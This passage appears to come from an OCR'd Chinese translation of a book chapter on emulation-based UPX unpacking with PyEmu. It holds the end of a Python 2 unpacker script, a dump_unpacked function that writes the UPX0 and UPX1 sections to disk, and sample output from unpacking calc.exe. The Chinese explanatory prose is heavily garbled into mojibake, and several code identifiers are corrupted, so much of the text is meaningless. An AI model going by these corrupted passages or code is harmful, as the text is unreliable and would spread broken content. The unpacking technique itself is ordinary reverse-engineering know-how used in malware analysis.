print "[*] OEP = 0x%08x" % eip
# Dump the unpacked binary to disk
dump_unpacked(emu)
# We can stop emulating now
emu.emulating = False

return True

LoadLibrary 42 e £ A i $E 2 H 11 DLL 19425, SR ctypes JF pR £t
fTEIEN) LoadLibraryA ¥H], X/~ M%H kernel32.dll T H o P IR FIS, K Aghifhid
45 BAX ZiA7ay, HEHTAEO AR AR, BRI R HOR A [FAE,  GetProcAddress Ab 3 bR
KR T O A 2 K (arg2), AR S AR D B2 R EEAT B9 1 U A (emu.os.add_library F
emu.os.get library address) , X > B 2 th H kernel32.dll T H (24 48 L v BLAE H
windll.kernel32.GetProcAddress) . 2 Ji 42 i 41k 47 fits B EAX, 1 & 4% (31X 0L 54 3 48 ]
emu.set_register("ESP", emu.get register("ESP") + 8), AT REMNANSEL, NiZE+12), iR
[l 5% = VirtualProtect &b %L, FUR TSR [ —/> True fE, #35 H02& —FERHR AL B]
MR EL IR Ao 22 Py DLFR, A BRR BT TAN R 2L E B R4 A7 TR I 3RS 0T FRATHE
7 L ORAE AT A (1 VirtualProtect ¥ F#8IR [FI L. 5 J5 1) IMP $i5 2 A 3 ok B fi 77— A1)
BN, H e B AT B, i Rk, WA dump_unpacked R ACAS L fit 2 i
B b ARSI T, R TR T .

NI/ dump unpacked A5 .
#upx_unpacker.py

def dump_unpacked(emu):
global outputfile
th = open(outputfile, 'wb')
print "[*] Dumping UPXO0 Section"
base = emu.sections["UPX0"]["base"]
length = emu.sections["UPX0"]["vsize"]
print "[*] Base: 0x%08x Vsize: %08x"% (base, length)
for x in range(length):
th.write("%c" % emu.get memory(base + x, 1))
print "[*] Dumping UPX1 Section"



base = emu.sections["UPX1"]["base"]
length = emu.sections["UPX1"]["vsize"]
print "[*] Base: 0x%08x Vsize: %08x" % (base, length)
for x in range(length):

th.write("%c" % emu.get memory(base + x, 1))
print "[*] Finished."

P E PR UPXO0 AT UPXT A B I ARUS 5 A SO — B3O dump B, At
REMGAE W R P —FE T I BUEA] T FEa 24T AR T RA T MR S A

C:\>C:\Python25\python.exe upx_unpacker.py C:\calc_upx.exe calc clean.exe
[*] We are jumping out of the unpacking routine.

[*] OEP = 0x01012475

[*] Dumping UPXO0 Section

[*] Base: 0x01001000 Vsize: 00019000

[*] Dumping UPX1 Section

[*] Base: 0x0101a000 Vsize: 00007000

[*] Finished.

C:\>

Listing 12-4:upx_unpacker.py #4175 H

PAEBATAT T DHRARIIE cale.exe —HEH cale_clean.exe. KINT i, #ALAYT MK
FEE ARG, AEARZFREFEIEZ,
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